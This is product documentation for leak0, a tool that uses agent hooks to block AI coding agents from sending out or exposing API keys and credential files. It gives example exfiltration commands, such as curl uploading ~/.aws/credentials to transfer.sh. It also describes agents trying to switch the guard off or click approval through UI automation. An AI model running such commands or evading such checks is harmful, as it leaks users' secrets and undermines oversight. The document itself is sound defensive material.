leak0: Protection against credential exfiltration
leak0 stops your AI agents from passing secrets such as API keys, tokens or credential files to the outside (exfiltration). It checks your input, the tool calls of the agents and their output, right on your device. It blocks only what leak0 can prove.
Terms
| Term | Meaning |
|---|---|
| Hook | An entry point the agent offers: before or after a step, the agent calls leak0 and waits for the answer. leak0 works through these hooks only. |
| Tool call | An action of the agent, such as a shell command, a file access, a web request or an MCP call. |
| Block | leak0 stops the tool call before it runs. Only with proof. |
| Ask | The agent pauses and asks you whether the call should run. |
| Note | The call runs, and leak0 returns a text message about the hit to the agent. |
| Redact | leak0 replaces a secret value in a tool output with a placeholder before the model sees it. |
| Short hash | A short fingerprint of a value. It marks a hit in the message and the audit without revealing the value. |
| Placeholder | A recognisable sample value instead of a real secret, for example your-api-key-here, <token> or ${API_KEY}. |
| PoisonZero dialog | A PoisonZero window in the foreground of your desktop. It asks whether a commit with a secret file may run when the agent cannot ask you itself. Block is preselected. |
| System sign-in | Your operating system's sign-in window, for example with Touch ID, a PIN or your password. It appears only when you choose Allow. An agent cannot give this sign-in itself. |
Scope of inspection
leak0 checks four routes by which a secret can leave your device or end up in the wrong place.
| Route | Examples | When checked |
|---|---|---|
| 1 Commit and publish | git add, git push, npm publish and others | Before the call (shell hook) |
| 2 Network and third-party tools | curl, scp, web requests, MCP calls | Before the call (shell, web and MCP hooks) |
| 3 Secret into the model | cat ~/.aws/credentials, env, a token in your input | Before the call (input and read hooks) and in the output afterwards (output hook) |
| 4 Secret into the wrong file | A token hard-coded in code, a CI file, a README or a memory file | Before the write (write hook) |
When leak0 blocks
A block needs one of five proofs, B1 to B5. Without proof, leak0 does not block; it asks, redacts or adds a note instead.
| Proof | When it holds | Example |
|---|---|---|
| B1 Known credential file | The call touches a known credential file, and its content confirms the type. leak0 follows symlinks and normalizes Windows paths for this. | ~/.aws/credentials, a service account JSON, a private SSH key |
| B2 Token with checksum | The token has a known prefix and a valid checksum. This applies only to token families that carry a checksum. | GitHub ghp_…, npm_…, GitLab glpat-… and others |
| B3 Known secret value | A value that leak0 already recognized as a secret in the same session appears verbatim in an outgoing call. | The content of ~/.aws/credentials in the body of a curl call |
| B4 Secret to a third party | The secret is in the data sent (body, upload, gist, DNS name), and the destination is provably not yours: a paste, file-drop, request-collector or tunnel service, a public IP address, or a public publication. | curl -F f=@~/.aws/credentials https://transfer.sh |
| B5 Switching leak0 off | The agent tries to switch leak0 off, or removes or changes the PoisonZero entries in its hook settings. | poisonzero leak0 off, run by the agent |
What a message contains
With every block and every question, the agent receives a message. It never names the secret value. It contains:
- leak0 as the sender and the proof (B1 to B5)
- the rule class with the prefix
leak0:, for exampleleak0:checksum_token_commit - the kind of proof: resolved path, structure, checksum or hash match
- the short hash of the value
- how to switch leak0 off
When leak0 does not block
leak0 blocks only when a leak is proven. In these cases the proof is missing, so there is never a block.
| Situation | What leak0 does |
|---|---|
A token goes to its own sign-in point, for example in the Authorization header or as user:token@host | No block; depending on the case, a question or a note |
A copy to your own servers (scp, rsync), S3-compatible storage, self-hosted GitLab or Vault | No block; for a credential file, a question |
.env files, shell startup files such as ~/.zshrc, PEM files inside a repository | No block; a question, redaction or a note |
A secret file with real values in a test folder, for example tests/.env or fixtures/credentials | A question instead of a block |
Placeholders and sample values in test folders and templates, for example .env.example | Runs without intervention |
A token with a checksum in a docs folder, for example docs/ or examples/ | A question instead of a block |
Test folders are folders in the repository with exactly one of these names: test, tests, testdata, fixtures, fixture, __tests__, __fixtures__, __mocks__. Test files such as *_test.*, *.spec.* and *.test.* count as well, and so do templates ending in .example, .sample or .template.
What counts is the path from the repository root. The folder that holds the repository does not count: leak0 checks a project under ~/TestApp like any other.
Docs folders (docs, doc, examples, example, samples, sample, spec) relax token hits only. leak0 checks secret files there as it does everywhere: docs/.env with real values leads to a question, a real credential file to a block.
New secret files in Git
When a Git command takes in a new secret file, such as a .env, a credential file or a key file, leak0 checks its content. The message names the file, never the value.
| Situation | What leak0 does |
|---|---|
git add . or git add -A stages a secret file with real values | A question naming the file |
git commit -a or git commit with paths includes such a file | A question naming the file |
git push, also with --tags or as the first push, sends such a file | A question naming the file |
The file is a proven credential file (B1), for example an AWS credentials file | Block |
.env.example or a file with placeholders only | Runs without intervention |
| The check does not finish in the time available | A question where the agent asks itself, otherwise a block asking to retry. The call never goes through unchecked. |
Who asks depends on the agent:
| Agent | Question about a secret file in Git |
|---|---|
| Claude Code, Cursor and Antigravity CLI | The agent's own confirmation dialog |
| Codex and Gemini CLI | The PoisonZero dialog, Allow with system sign-in |
Approval in the PoisonZero dialog
Codex and Gemini CLI cannot ask you from the hook themselves. For a secret file in Git, PoisonZero therefore asks, in two steps. Both windows are titled “poison0 agent: leak0 safeguard”.
| Step | What happens |
|---|---|
| 1. PoisonZero dialog | Appears in the foreground and names the product, agent, file and reason, never the value. Block is preselected: one click, no password. |
| 2. System sign-in | Only if you choose Allow does your operating system's sign-in window appear right away in the foreground. You sign in with your own account. |
| Situation | Effect |
|---|---|
| You choose Allow and sign in | The call runs, once |
| You choose Block | Block. The agent gets the text that you rejected the call and is asked to check with you. |
| You cancel the sign-in, or the password is wrong | Block |
| No answer within 90 seconds | Block |
| The agent retries after a rejection or no answer | No new dialog for the same file for 60 seconds. Block with a clear text to the agent. |
| More than three dialogs in one minute | Block without a dialog. The agent is told there were too many requests. |
| No desktop: SSH session, CI, nobody signed in, or the PoisonZero service cannot be reached | Block. The message names poisonzero leak0 allow <file> for your own terminal. |
Why a system sign-in? An agent can trigger a click on Allow itself, for example through UI automation. It cannot give your operating system's sign-in. A click alone therefore lets nothing through.
| Operating system | Sign-in window |
|---|---|
| macOS | The macOS system window with Touch ID or password |
| Windows | The “Windows Security” window with the PoisonZero text. If a PIN or fingerprint is set up, Windows offers it there. |
| Linux | The polkit system authentication. PoisonZero never sees the password. |
Only the sign-in of the account the agent runs under counts; you do not need administrator rights. Claude Code keeps asking in its own confirmation dialog.
Approval in your own terminal
Without a desktop, for example over SSH, leak0 blocks and names the command poisonzero leak0 allow <file>. Run it in your own terminal, not through the agent. Then let the agent repeat the commit or push.
| Command | Effect |
|---|---|
poisonzero leak0 allow <file> | Approves exactly the current content of the file: for any number of commits within 10 minutes and for one push, the first that carries the file. Several files are possible. |
- Confirmation: your own password, in your own terminal. You do not need administrator rights. On macOS and Linux,
sudoworks as well. - This content only: if the file changes afterwards, the approval no longer applies.
- Failed attempts: 3 seconds between two attempts. After 5 failed attempts, approval is locked for 15 minutes.
- Service: the PoisonZero service checks the sign-in, issues the approval and stores it. It must be running.
- Not through the agent: if the agent runs the command itself, leak0 blocks it (B5).
- The message to the agent names the command after a rejection in the dialog too.
User approval in the profile
In Cloud profiles the admin decides whether people at the device may approve commits with secret files themselves. Console: leak0 section, switch Users may approve commits with secret files themselves. Default: on.
| Switch | What leak0 does |
|---|---|
| On | A question in the agent's dialog or in the PoisonZero dialog. Approval with poisonzero leak0 allow is possible. |
| Off | Block for every agent, Claude Code included. The message asks the person to contact their admin. poisonzero leak0 allow refuses the approval, and existing approvals do not count. |
Private devices do not have this switch. There approval is always possible.
Desktop notification on a block
When leak0 blocks a call, PoisonZero can show a desktop notification: agent, tool and what was blocked, for example “Token in a commit”. It never contains a secret value, a path or a command.
| Item | Behaviour |
|---|---|
| Turning it on | Console: profile, setting Notice when a threat is blocked. Private devices: sudo poisonzero notify on; the local setting takes precedence over the profile. Default: off. |
| When | On a block. Questions, redactions and notes do not trigger a notification. |
| For whom | For the person signed in at the desktop whose agent was blocked |
| Frequency | The same block at most once per minute, at least 5 seconds between two notifications |
Supported agents
leak0 supports five agents. What it does per agent depends on the hooks the agent offers.
| Agent | Operating systems |
|---|---|
| Claude Code | macOS, Linux and Windows |
| Codex (CLI and IDE) | macOS, Linux and Windows |
| Cursor | macOS and Linux |
| Gemini CLI | macOS, Linux and Windows |
| Antigravity CLI | macOS, Linux and Windows |
| Agent | Block | Ask | Redact secrets in tool output | Check your input |
|---|---|---|---|---|
| Claude Code | yes | yes, dialog | yes, value only | yes |
| Codex (CLI and IDE) | yes | PoisonZero dialog for secret files in Git, otherwise a note | yes, value only | yes |
| Cursor | yes | dialog for shell and MCP calls | for MCP output | yes |
| Gemini CLI | yes | PoisonZero dialog for secret files in Git, otherwise a note | yes, value only | yes |
| Antigravity CLI | yes | yes, dialog | not available | not available |
What the columns mean
- Block: leak0 stops the tool call before it runs when one of the proofs B1 to B5 holds. This applies to all five agents.
- Ask: When a secret is likely but not proven, for example with
git add .env, you are asked before the call runs. Claude Code and Antigravity CLI show their confirmation dialog, Cursor does so for shell and MCP calls. Codex and Gemini CLI: the PoisonZero dialog for secret files in Git, see Approval in the PoisonZero dialog. - Note (Ask column): for other questions, Codex and Gemini CLI offer no dialog from the hook. There the call runs, and leak0 returns a text message to the agent that names the hit.
- Redact secrets in tool output: When a secret appears in the output of a tool, for example with
cat .env, leak0 replaces only the value before the model sees it:OPENAI_API_KEY=[leak0:openai:a1b2]. Where the value cannot be found on its own, leak0 withholds the whole output. Cursor: for MCP output. Antigravity CLI: not available, because the agent offers only a hook before the tool call. Shell and file output in Cursor: a note to the agent, recorded in the audit asleak0_warned. - Check your input: leak0 checks your own input, for example a pasted token, before it goes to the model. Antigravity CLI: not available. Cursor CLI in print mode (
-p) does not call the input hook.
When a tool output is too large to check in the time available, leak0 withholds it in On mode. The agent gets a note to narrow the command, for example with head or grep.
Hits that justify neither a block nor a question get a note from leak0: always with Codex, Cursor and Gemini CLI, and with Claude Code while exec0 is off. Antigravity CLI has no field for notes; there the call runs without a message.
Remarks
- Codex: the built-in web search runs at the provider without a hook and is not checked.
- Cloud runs such as Codex Cloud or the Copilot cloud agent do not run on your device; leak0 does not see them.
poisonzero leak0 statuslists every agent on the device as protected, partly protected or not protected.
Agents leak0 does not support (yet)
| Agent | Reason |
|---|---|
| GitHub Copilot CLI, VS Code agent, Windsurf, Cline (macOS and Linux), Kiro, Goose, Augment (Auggie), Junie CLI, Factory Droid, Amp, OpenCode, Cortex Code CLI, Qwen Code, Kilo Code, Crush, OpenHands, Open Interpreter, gptme, Kimi Code CLI, Mistral Vibe, Pi, Grok CLI, Tabnine CLI | Hooks exist, not supported in this version |
| Xcode coding assistant (Claude Code, Codex and Gemini CLI inside Xcode) | Reads its own configuration from ~/Library/Developer/Xcode/CodingAssistant/; not protected in this version |
| Aider | No hook system; auto-commits run with --no-verify by default |
| Zed | Only static rules per tool, no executable hook |
| Cline on Windows | No hooks on Windows |
| Cursor on Windows | Supported on macOS and Linux in this version |
| Amazon Q Developer CLI | Product discontinued |
| Warp, Roo Code, Continue (IDE extension), Trae, Void, Plandex, Qodo, GitHub Copilot in Visual Studio, JetBrains, Xcode and Eclipse, JetBrains AI Assistant, Gemini Code Assist, Android Studio Gemini, Databricks Assistant, Snowflake VS Code extension, Sourcegraph Cody, Letta Code, Tabby, Raycast AI, Google Jules CLI, Pieces, Flowise, Dify, LibreChat | No usable hook known |
Out of scope
leak0 does not cover these cases, or covers them only in part. The right column names what applies instead.
| Not covered | Why | Instead |
|---|---|---|
| Memory poisoning, also when the poisoned instruction says to send secrets out | A protection of its own | poison0, see What the poison0 agent does |
| Abuse without a leak: overwriting or deleting a credential file, loosening permissions, creating tokens with too wide a scope | No secret leaves the machine | exec0 |
| Prompt injection in content the agent reads | A different risk | inject0 |
Hidden paths, for example through wildcards, variables, $(...) or subprocesses | The path is not provably in the command | No block; the output is redacted where the agent allows it |
| Encoded or split output, for example as hex or in pieces | A checksum matches only the whole value | The whole output is withheld when a credential file feeds a transforming command |
| Scripts, Makefiles, git hooks or CI started later | Writing and starting are separate calls | Block only when the written script sends a credential file to a provably third-party destination in the same pipeline; otherwise a note |
| Secrets without a known format, for example passwords | Not provable | Redaction by field name inside known credential files; never a block |
| Revoked or test tokens with a valid checksum | Offline indistinguishable from real tokens | Under test, fixture and docs paths a question instead of a block |
| Online check whether a token is still valid | leak0 checks offline only | Not part of leak0 |
Routes without a hook: Codex web search, ! commands in Claude Code, telemetry, input typed in a terminal next to the agent | No hook sees them | Not covered |
| Plain text on disk: agent transcripts and telemetry | leak0 changes what the model and third-party hosts see, not what the agent stores | Not covered |
| A sandbox or launcher of its own for agents | leak0 works through the agent hooks only | Not part of leak0 |
Operating modes
| Mode | In the console | Effect |
|---|---|---|
enforce | On | Blocks on proof, asks, redacts and adds notes. |
observe | Observe | Logs every hit with its proof. Never blocks, asks or redacts. |
off | Off | No checks. When exec0 is off as well, the hook ends at once. |
leak0 is never on silently. It is on only after a decision: in the installer, with PZ_SETUP_LEAK0, with sudo poisonzero leak0 enforce or in the console profile. Without any of these the mode is off.
- Order: local setting, then profile, then
off. On Cloud devices the local setting does not count. - leak0 is independent of exec0: leak0 on with exec0 off is a valid setting. Both run in the same hook entry; leak0 checks first.
- leak0 is part of Solo Dev, Pro and Enterprise.
Configuration in Cloud mode
- In the console open Settings → Profiles.
- Enterprise: click Edit on the profile. Solo Dev and Pro: the profile is shown directly in this section.
- In the leak0 area choose On, Observe or Off. Existing profiles start at Off; a new profile has On preselected.
- Optionally add your own secret files and exclusions in the two lists and decide whether users may approve commits with secret files themselves.
- Save. Cloud devices take the setting on their next sync with the console and add missing hook entries; Codex users confirm new hooks in Codex with
/hooks.
| Profile field | Values | Limit |
|---|---|---|
leak0.mode | enforce, observe, off | off until set |
leak0.secretFiles | List of { path, keys }: path is a glob, ~ and %USERPROFILE% are allowed; keys optionally names the fields that hold the secret | at most 200 entries |
leak0.exclusions | List of globs that leak0 does not treat as a secret source | at most 200 entries |
leak0.userMayApprove | true, false: people at the device may approve commits with secret files | true until set |
On Cloud devices the poisonzero leak0 commands that change something are refused, except clear; the console setting applies. On private profiles the console shows a note that the setting applies to Cloud devices only.
Configuration in private mode
Private devices are not steered from the console. Everything is set with the CLI on the device.
| Command | Effect |
|---|---|
poisonzero leak0 status | Shows mode, source (local, profile, default), how many secret files and exclusions your lists hold (poisonzero leak0 file list and exclude list show them) and the protection per agent. When leak0 is off, it names the command to switch it on. |
poisonzero leak0 allow <file> | Approves a secret file with its current content for commits (10 minutes) and one push, with your system sign-in; see Approval in your own terminal |
sudo poisonzero leak0 enforce | Switches leak0 on |
sudo poisonzero leak0 observe | Observe only |
sudo poisonzero leak0 off | Switches leak0 off |
sudo poisonzero leak0 clear | Removes the local setting; the profile or off applies again |
sudo poisonzero leak0 file add <glob> --keys k1,k2 | Adds a secret file of your own; --keys is optional |
sudo poisonzero leak0 file remove <glob> | Removes it |
poisonzero leak0 file list | Lists your secret files |
sudo poisonzero leak0 exclude add <glob> | Adds an exclusion |
sudo poisonzero leak0 exclude remove <glob> | Removes it |
poisonzero leak0 exclude list | Lists the exclusions |
sudo in a terminal opened as administrator.The settings are stored in the data directory: /var/lib/poisonzero (Linux), /Library/Application Support/PoisonZero (macOS), <ProgramData>\PoisonZero (Windows), see Installing the poison0 agent.
| File | Content | Written by |
|---|---|---|
leak0mode | Local switch: enforce, observe or off | poisonzero leak0 enforce, observe, off |
leak0.local.json | Your lists: {"secretFiles": [...], "exclusions": [...]} | poisonzero leak0 file and exclude |
leak0.profile | Copy of the leak0 setting from the console profile | The poison0 agent, Cloud devices only |
Installation
In a terminal, the installer asks whether to switch leak0 on: On, Observe or Off, with On preselected. This also applies to the one-line install with curl -fsSL https://poisonzero.com/install.sh | sudo sh.
Unattended installs (MDM, fleet tools, scripts) read PZ_SETUP_LEAK0; without it, leak0 stays off. On Cloud devices the console profile decides.
| Variable | Values | Without the variable |
|---|---|---|
PZ_SETUP_LEAK0 | enforce, observe, off | Interactive: the question above. Unattended: off |
curl -fsSL https://poisonzero.com/install.sh | sudo PZ_SETUP_LEAK0=enforce sh
$env:PZ_SETUP_LEAK0='enforce' irm https://poisonzero.com/install.ps1 | iex
Hook entries
| Situation | What happens |
|---|---|
| Installing the poison0 agent | The installer adds the PoisonZero hook entries to every supported agent it finds: on macOS and Linux to Claude Code, Codex, Cursor, Gemini CLI and Antigravity CLI, on Windows to Claude Code, Codex, Gemini CLI and Antigravity CLI. Codex asks you once to trust the new hook: confirm it in Codex with /hooks. |
| Switching leak0 or exec0 off | The hook entries stay. Each product is switched on or off at runtime, independently of the other. |
| Uninstalling the poison0 agent | Only this removes the hook entries. |
| An admin switches leak0 on in a Cloud profile | The device adds missing hook entries at its next configuration fetch. Codex asks you to trust new hooks: confirm them in Codex with /hooks. poisonzero leak0 status shows when a confirmation is pending. |
| Claude Code: the hook does not run (binary missing, crash, timeout) | If leak0 or exec0 runs in enforce mode (leak0: On, exec0: Protection), Claude Code blocks the tool call. If both are in Observe or Off, Claude Code continues the call. |
| Codex, Cursor, Gemini CLI, Antigravity CLI: the hook does not run | The agent continues the call (fail-open). For Cursor, failClosed is not enabled. |
Existing devices: an update does not switch leak0 on. It stays off until you run sudo poisonzero leak0 enforce or set it in the console profile.
Audit
Every leak0 decision is written as an audit event.
| Action | Meaning | Local audit | Console audit (Cloud mode) |
|---|---|---|---|
leak0_blocked | Call blocked with proof | yes | yes |
leak0_asked | Confirmation requested. For Codex and Gemini CLI with the result of the PoisonZero dialog: allowed, rejected, no answer or no dialog possible | yes | yes |
leak0_redacted | Value redacted in a tool output | yes | yes |
leak0_warned | Warned: the agent does not allow the intervention, for example redacting shell or file output in Cursor. leak0 returns a note to the agent. | yes | yes |
leak0_observed | Hit in observe mode, no intervention | yes | Only if “Also in the console (cloud audit)” is turned on in the profile; default: off |
leak0_granted | File approved with poisonzero leak0 allow after your system sign-in. With the user, the number of files and a short hash per file | yes | yes |
leak0_grant_failed | Approval failed: sign-in wrong or cancelled | yes | yes |
leak0_grant_locked | Approval refused without a sign-in because too many sign-ins failed | yes | yes |
Fields per event: agent, tool, rule class, mode and a short hash. Never included: the secret value, the path or the command. In the console the events carry their own labels; leak0_blocked and leak0_redacted count as incidents. leak0_warned does not count as an incident. A retry within 60 seconds after a rejection and an attempt over the dialog limit are each recorded as their own leak0_blocked entry. If the approval for exactly this content was already used by a push, the entry says so. leak0_granted and leak0_grant_locked count as incidents.
Privacy
| Data | Cloud mode | Private mode |
|---|---|---|
| Content of prompts, commands, files and output | Checked on the device, not sent for the check | Checked on the device |
| Secret values | Never in the audit or the journal | Never in the audit or the journal |
| Session state (paths of copies, short hashes of recognized values) | On the device, one file per session, readable only by your user account, deleted when the session ends where the agent reports the end (Claude Code), otherwise after 24 hours | Same |
| Audit entry (time, action, tool, rule class, short hash), without content | On the device and in the console audit | On the device only |
Never in the audit: values, paths, commands, arguments or your prompt. Full list: What Cloud mode sends.
Comparison with exec0 and memory protection
| Memory protection | exec0 | leak0 | |
|---|---|---|---|
| Checks | Changes to agent memory and instruction files | Every tool call, for harm | Prompts, tool calls and output, for secrets leaving |
| Decides with | Melira AI and rules | Fixed rules and Melira AI | Fixed rules with proof, no model |
| Runs | On your device | On your device | On your device |
Read next
Harmful tool calls: exec0. What poison0 protects: What the poison0 agent does. Choosing a mode: Cloud or private.